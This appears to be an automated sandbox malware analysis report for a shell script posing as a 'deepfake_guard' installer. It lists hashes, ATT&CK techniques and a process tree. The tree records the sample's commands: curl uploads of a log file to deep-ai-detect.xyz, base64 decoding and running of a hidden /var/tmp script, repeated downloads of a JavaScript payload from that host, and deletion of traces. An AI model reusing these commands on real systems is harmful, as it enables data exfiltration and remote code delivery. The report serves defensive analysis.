d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45

Analysis

max time kernel
65s
max time network
9s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
24/06/2026, 09:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
Size 27KB
Sample260624-llmwasbs41
SHA256 d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45
MD5 0e467a42336dad929ca08e55e5e15506
SHA1 f7c30fb200395ec44b4eba7936786fa1515197a4
SHA512 fc7231cb2710f798a214ecd526af4a1eaf5c735164b5f2e47d502efdda727759479f723517e5d061c307bfbeafb2fb3ce5228c2fea2995eb5c1ad5cf33d232d3
SSDEEP 384:Wfna0tQXtbKBgDnKW8ge0ZNvA9XBCAhAdF+O:WflyXFJKPgeGcAdgO
TLSH
T16AC294DE419F9D50E2271014198FF680C20DA7AEB492B68BD335BF1DF68D47812F629B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
732	chmod

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
721	base64

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 29 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.6Cxwkt	bash

/tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
/tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
1⤵
PID:644
- /bin/rm
  rm -f /var/tmp/deepfake_guard.launcher.status
  2⤵
  PID:655
- /usr/bin/nohup
  nohup bash /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
  2⤵
  PID:661
- /bin/sleep
  sleep 1
  2⤵
  PID:663
- /usr/local/sbin/bash
  bash /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
  2⤵
  PID:661
- /usr/local/bin/bash
  bash /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
  2⤵
  PID:661
- /usr/sbin/bash
  bash /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
  2⤵
  PID:661
- /usr/bin/bash
  bash /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
  2⤵
  PID:661
- /sbin/bash
  bash /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
  2⤵
  PID:661
- /bin/bash
  bash /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
  2⤵
  PID:661
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:667
- - /usr/bin/curl
    curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: macos" --data-binary "@/var/tmp/deepfake_guard.log" --connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 https://deep-ai-detect.xyz/guard-install-log
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:669
- - /bin/mktemp
    mktemp /var/tmp/.kdm.XXXXXX
    3⤵
    PID:718
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:721
- - /bin/chmod
    chmod 700 /var/tmp/.kdm.ui3nIg
    3⤵
    PID:724
- - /bin/bash
    bash /var/tmp/.kdm.ui3nIg
    3⤵
    - Writes file to tmp directory
    PID:727
  - - /bin/date
      date "+%Y-%m-%d %H:%M:%S"
      4⤵
      PID:729
  - - /bin/mkdir
      mkdir -p /var/tmp/deepfake_guard_work
      4⤵
      Reads runtime system information
      PID:730
  - - /bin/cat
      cat
      4⤵
      PID:731
  - - /bin/chmod
      chmod +x /var/tmp/deepfake_guard_run.sh
      4⤵
      File and Directory Permissions Modification
      PID:732
- - /bin/rm
    rm -f /var/tmp/.kdm.ui3nIg
    3⤵
    PID:736
- - /bin/rm
    rm -f /var/tmp/upda_m /var/tmp/upda_w /tmp/upda_m /tmp/upda_w /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
    3⤵
    PID:737
- - /bin/rm
    rm -f "/var/tmp/.kdm.*" /var/tmp/deepfake_guard.launcher.status
    3⤵
    PID:738
- /bin/sleep
  sleep 1
  2⤵
  PID:677
- /bin/sleep
  sleep 1
  2⤵
  PID:689
- /bin/sleep
  sleep 1
  2⤵
  PID:722
- /usr/bin/curl
  curl -sk -X POST -H "Content-Type: application/json" -H "X-Guard-Platform: macos" -d "{\"ok\":true,\"upload\":false,\"exitCode\":0,\"message\":\"payload_ready\",\"platform\":\"macos\"}" --connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 https://deep-ai-detect.xyz/guard-launcher-result
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:743

/bin/bash
bash /var/tmp/deepfake_guard_run.sh
1⤵
PID:733
- /bin/mkdir
  mkdir /var/tmp/deepfake_guard.lock.d
  2⤵
  - Reads runtime system information
  PID:739
- /bin/mkdir
  mkdir -p /var/tmp/deepfake_guard_work
  2⤵
  - Reads runtime system information
  PID:740
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:741
- /bin/sleep
  sleep 0.5
  2⤵
  PID:742
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:744
- /usr/bin/curl
  curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: macos" --data-binary "@/var/tmp/deepfake_guard.log" --connect-timeout 30 --max-time 60 --retry 3 --retry-all-errors --retry-delay 3 https://deep-ai-detect.xyz/guard-install-log
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:745
- /bin/mkdir
  mkdir -p /var/tmp/deepfake_guard_work
  2⤵
  - Reads runtime system information
  PID:748
- /bin/sleep
  sleep 60
  2⤵
  PID:749
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:750
- /bin/uname
  uname -m
  2⤵
  PID:754
- /usr/bin/head
  head -1
  2⤵
  PID:757
- /usr/bin/find
  find /var/tmp/deepfake_guard_work -type f -path "*/bin/node"
  2⤵
  - Reads runtime system information
  PID:756
- /usr/bin/node
  /usr/bin/node -v
  2⤵
  PID:760
- /usr/bin/node
  /usr/bin/node -v
  2⤵
  PID:778
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:785
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:786
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
  2⤵
  PID:790
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:792
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
  2⤵
  PID:794
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard_alt.js https://deep-ai-detect.xyz/install_guard_alt.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:796
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:802
- /bin/sleep
  sleep 2
  2⤵
  PID:803
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:805
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
  2⤵
  PID:806
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard_alt.js https://deep-ai-detect.xyz/install_guard_alt.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:807
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:809
- /bin/sleep
  sleep 3
  2⤵
  PID:810
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:814
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
  2⤵
  PID:815
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard_alt.js https://deep-ai-detect.xyz/install_guard_alt.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:816
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:818
- /bin/sleep
  sleep 4
  2⤵
  PID:819
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:821
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
  2⤵
  PID:822
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard_alt.js https://deep-ai-detect.xyz/install_guard_alt.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:823
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:825
- /bin/sleep
  sleep 5
  2⤵
  PID:826
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:830
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
  2⤵
  PID:831
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard_alt.js https://deep-ai-detect.xyz/install_guard_alt.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:832
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:834
- /bin/sleep
  sleep 6
  2⤵
  PID:835
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:837
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
  2⤵
  PID:838
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard_alt.js https://deep-ai-detect.xyz/install_guard_alt.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:839
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:841
- /bin/sleep
  sleep 7
  2⤵
  PID:842
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:849
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
  2⤵
  PID:850
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard_alt.js https://deep-ai-detect.xyz/install_guard_alt.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:851
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:853
- /bin/sleep
  sleep 8
  2⤵
  PID:854
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:858
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
  2⤵
  PID:859
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard_alt.js https://deep-ai-detect.xyz/install_guard_alt.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:860
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:862
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
  2⤵
  PID:863
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:864
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:866
- /bin/sleep
  sleep 0.5
  2⤵
  PID:867
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:869
- /usr/bin/curl
  curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: macos" --data-binary "@/var/tmp/deepfake_guard.log" --connect-timeout 30 --max-time 60 --retry 3 --retry-all-errors --retry-delay 3 https://deep-ai-detect.xyz/guard-install-log
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:870
- /bin/rm
  rm -f /var/tmp/upda_m /var/tmp/upda_w /tmp/upda_m /tmp/upda_w
  2⤵
  PID:871
- /bin/rm
  rm -f /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
  2⤵
  PID:872
- /bin/rm
  rm -f /var/tmp/deepfake_guard.launcher.status "/var/tmp/.kdm.*"
  2⤵
  PID:873
- /bin/rm
  rm -f /var/tmp/deepfake_guard_run.sh
  2⤵
  PID:874
- /bin/rm
  rm -rf /var/tmp/deepfake_guard_work
  2⤵
  PID:875
- /bin/rm
  rm -rf /var/tmp/deepfake_guard.lock.d
  2⤵
  PID:876

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sh-thd.6Cxwkt

Path /tmp/sh-thd.6Cxwkt
Size 12KB
SHA256 56c488aced855e7ff5327bc51769e98903d8a47b2d70afe54c172b7908b3c1ca
MD5 271d07b9f6639e0bff9992b3595a97ee
SHA1 1f4f653d144893d67dadd853cd7fe1791f0fedd7
SHA512 face4576c84b13df7361cd53ef47762409c8a7d61fa05547a037da1b4a88e7618c5cfb8e1f0e16dd96f41cb278ecac8a8a1206715f5539893768a5928b239b29
SSDEEP 192:/jsbvL0QLcHhWE4GFdA4Hi5n3XHSD9ZPpEB6HqDpa4qBFm6SRqbV6oh6t2f:rszLvLohWCLcH9oFReost2f
TLSH
T1A042C91F2D835D38398C80B99FC592C5522A8C0B0D0E39A5F8AD64993F7D29CA27B357
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.kdm.ui3nIg

Path /var/tmp/.kdm.ui3nIg
Size 14KB
SHA256 5abdab7630157f7eb5c59e2d394853be6ba1a38b986ce8ff70987bc5dec2fcf9
MD5 4baa81cce8f26d2c7339faf6fde3697d
SHA1 3ae6bae93089c859f3bec63f207971d9c8c8e71c
SHA512 f27d6048004a23341ce22b578e8628851e2c9357e7a020bb526aaa61d9012e83342c56a4ec62c17207b8f8d20128e7e7226095800eef90f5d9d7c01f5b884a6d
SSDEEP 192:ihWE4krTS0KjsbvL0QLcHhWE4GFdA4Hi5n3XHSD9ZPpEB6HqDpa4qBFm6SRqbV63:ihWonS00szLvLohWCLcH9oFReost27If
TLSH
T10D62C91B6D874C3839CC80B99BD951C5612A8C0B0D0E3965F8AD64D93F7D29CA27B367
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

deepfake_guard.launcher.status

Path /var/tmp/deepfake_guard.launcher.status
Size 20B
SHA256 9cacfd988fb50bc7468779e85c044792b108b5fb837c1b8f6d159ab96de666a8
MD5 6af1fa6da228ca8f400b52110523f3f9
SHA1 a670496621e295ca055368f2f050422b4587e5da
SHA512 d1e46f645624ace405bc338c617b9d6c9c21fa329711f33fe9f66f8504c67c30a059855273b974620391c3516727f4a90ac9d02b38da89daaad2b6b1ae1305b6
MD5 SHA1 SHA512

Submit Download

pid

Path /var/tmp/deepfake_guard.lock.d/pid
Size 4B
SHA256 623a358def361d458e75ac23f59b239feaab7a8fd03603c21618d82c0ae9973c
MD5 1271f730419cd56aa8300b13e791e66d
SHA1 d31e1b7dfb14ac4c199e7bd7b722387888589e47
SHA512 0f8d29be0db16388d1c387aea6c2623870824eb8360c53b1fb8305d87abd08bd036abea20766479edc5b62b877f294b5ff5b372e57db7ad1aff91b2ad20654b0
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads